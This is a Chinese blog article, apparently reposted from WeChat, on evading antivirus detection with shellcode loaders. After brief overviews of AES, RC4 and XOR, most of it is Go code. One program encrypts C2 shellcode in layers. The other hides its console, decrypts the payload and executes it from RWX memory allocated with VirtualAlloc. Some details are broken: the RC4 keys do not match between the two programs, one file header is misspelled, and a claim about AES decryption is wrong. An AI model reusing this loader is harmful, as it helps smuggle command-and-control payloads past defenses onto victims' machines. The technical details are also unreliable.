前言
说shellcode加载器之前,先说一下什么是shellcode,shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。而Shellcode加载器是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。
今天这篇文章只是简单说说shellcode免杀的相关知识点,并不深入讲解。如果对于免杀技术感兴趣,可以从四大块入手学习:静态、动态、内存和网络。初学者可以按照这一路线逐步学习,先从静态技术入手,然后逐步深入动态、内存和网络方面的知识。
需要明确的是,免杀的核心在于对抗检测机制。检测通常涵盖多个层面,因此要实现完整的免杀效果,需要结合多种绕过手法。一些提供的loader仅作为基础知识点,本身并不具备免杀效果。在学习过程中,需要注意将不同的绕过手法组合起来。
加密与解密
首先说一下静态免杀的相关内容,这里主要讲解加密与解密的相关内容。
AES
AES(Advanced Encryption Standard)是一种对称加密算法,它是目前使用最广泛的对称加密算法之一。对称加密算法使用相同的密钥进行加密和解密,因此在安全性和效率上通常比非对称加密算法更高效。
AES 加密的基本步骤:
-
密钥生成:选择一个适当长度的密钥。AES支持多种密钥长度,包括128位、192位和256位。
-
初始轮密钥生成:通过密钥扩展算法,根据初始密钥生成一系列轮密钥,用于加密轮中的每一轮。
-
轮密钥加:将明文与第一轮密钥进行按位异或操作。
-
轮:执行多轮的加密操作,每一轮都包括四个步骤:SubBytes、ShiftRows、MixColumns 和 AddRoundKey。这些步骤的具体操作会对明文进行不同的置换和替换操作,结合当前轮的轮密钥进行处理。
-
最后一轮:最后一轮不包括 MixColumns 步骤,只执行 SubBytes、ShiftRows 和 AddRoundKey。
-
密文输出:最后一轮完成后,得到的结果就是加密后的密文。
解密过程与加密过程类似,只是轮密钥的应用顺序相反,并且在解密时不需要进行密钥扩展。
RC4
RC4(Rivest Cipher 4)是一种流密码算法,它将明文与密钥流按位进行异或运算来实现加密和解密。密钥流是由一个伪随机生成器生成的伪随机序列,这个序列是根据密钥生成的,所以密钥的选择对加密的安全性至关重要。
RC4 算法相对于其他对称加密算法来说,实现相对简单,加解密速度也很快。
XOR
异或加密:异或运算(XOR,Exclusive OR)是一种逻辑运算符,它在两个操作数中,当且仅当其中一个操作数为真时返回真。如果两个操作数都为真或都为假,则返回假。
案例
这里以C2的shelcode来举例子,语言选为Go语言。大体代码加密逻辑为:
AES 加密:使用 AES 对输入消息进行加密。
RC4 加密:对 XOR 后的消息进行 RC4 加密。具体加密代码完整案例如下:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/hex"
"fmt"
"github.com/eknkc/basex"
"log"
)
func main() {
// AES 密钥
aesKey := []byte("1234567887654321")
// RC4 密钥
rc4Key := []byte("12345678")
message := "xfcx48x83xe4xf0xe8......" // 原始消息shellcode
// AES 加密
aesCipher, err := aes.NewCipher(aesKey)
if err != nil {
log.Fatalf("failed to create AES cipher: %v", err)
}
// 创建 GCM 模式
gcm, err := cipher.NewGCM(aesCipher)
if err != nil {
log.Fatalf("failed to create GCM: %v", err)
}
// 使用固定的随机数(nonce),实际应用中应使用安全的随机数
nonce := []byte("123456789012") // 12 字节 nonce
ciphertext := gcm.Seal(nil, nonce, []byte(message), nil)
// XOR 操作
xordMessage := make([]byte, len(ciphertext))
for i := 0; i < len(ciphertext); i++ {
xordMessage[i] = ciphertext[i] ^ 0xff
}
// RC4 加密
rc4Cipher, _ := rc4.NewCipher(rc4Key)
rc4Message := make([]byte, len(xordMessage))
rc4Cipher.XORKeyStream(rc4Message, xordMessage)
// 转为十六进制
hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
n := hex.Encode(hexCiphertext, rc4Message)
hexCiphertext = hexCiphertext[:n]
// Base85 编码
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
encodedMessage := base85.Encode(hexCiphertext)
fmt.Println(encodedMessage)
}
解密的话,也是按照顺序来解,先进行 RC4 解密,然后进行 XOR 操作,最后进行 AES 解密,确保按正确顺序处理数据 具体解密代码完整案例如下:
ackage main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/hex"
"syscall"
"unsafe"
"github.com/eknkc/basex"
"github.com/lxn/win"
"golang.org/x/sys/windows"
"log"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
// AES 密钥
aesKey := []byte("1234567887654321")
// RC4 密钥
rc4Key := []byte("demaxiya")
encodedMessage := "2^f3pZzEw)WqdyIsUOpY25$_kgn9_9Kue2kt%Ks+XEJCzoSerJ@IK^kNr|7Aiwamzt8g>&9m#z52lh=KnD!;7M4rwJ86>E$zvdNygVjaWO!>s7kQP;owW^?aZOaP!yVQ$lYx$e(rbb%gw#&ly6yreXU<LO~B!G575FerHX?~TC<0iP#&%?R@?~Fd......" // 编码后的消息
// Base85 解码
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
hexCiphertext, _ := base85.Decode(encodedMessage)
// 转为二进制
rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
n, _ := hex.Decode(rc4Message, hexCiphertext)
rc4Message = rc4Message[:n]
// RC4 解密
rc4Cipher, _ := rc4.NewCipher(rc4Key)
xordMessage := make([]byte, len(rc4Message))
rc4Cipher.XORKeyStream(xordMessage, rc4Message)
// XOR 操作
message := make([]byte, len(xordMessage))
for i := 0; i < len(xordMessage); i++ {
message[i] = xordMessage[i] ^ 0xff
}
// AES 解密
aesCipher, err := aes.NewCipher(aesKey)
if err != nil {
log.Fatalf("failed to create AES cipher: %v", err)
}
// 创建 GCM 模式
gcm, err := cipher.NewGCM(aesCipher)
if err != nil {
log.Fatalf("failed to create GCM: %v", err)
}
// 使用与加密时相同的 nonce
nonce := []byte("123456789012") // 12 字节 nonce
plaintext, err := gcm.Open(nil, nonce, message, nil)
if err != nil {
log.Fatalf("failed to decrypt: %v", err)
}
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容
allocSize := uintptr(len(plaintext))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, plaintext)
// 执行 shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
小结
本节内容主要讲解了shellcode加解密等相关知识点,在下节内容中,主要讲解加载shellcode的方式,挑选其中比较经典的几种来进行讲解。
原文始发于微信公众号(小艾搞安全):免杀杂谈系列(1)|shellcode加载器之免杀小技巧
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论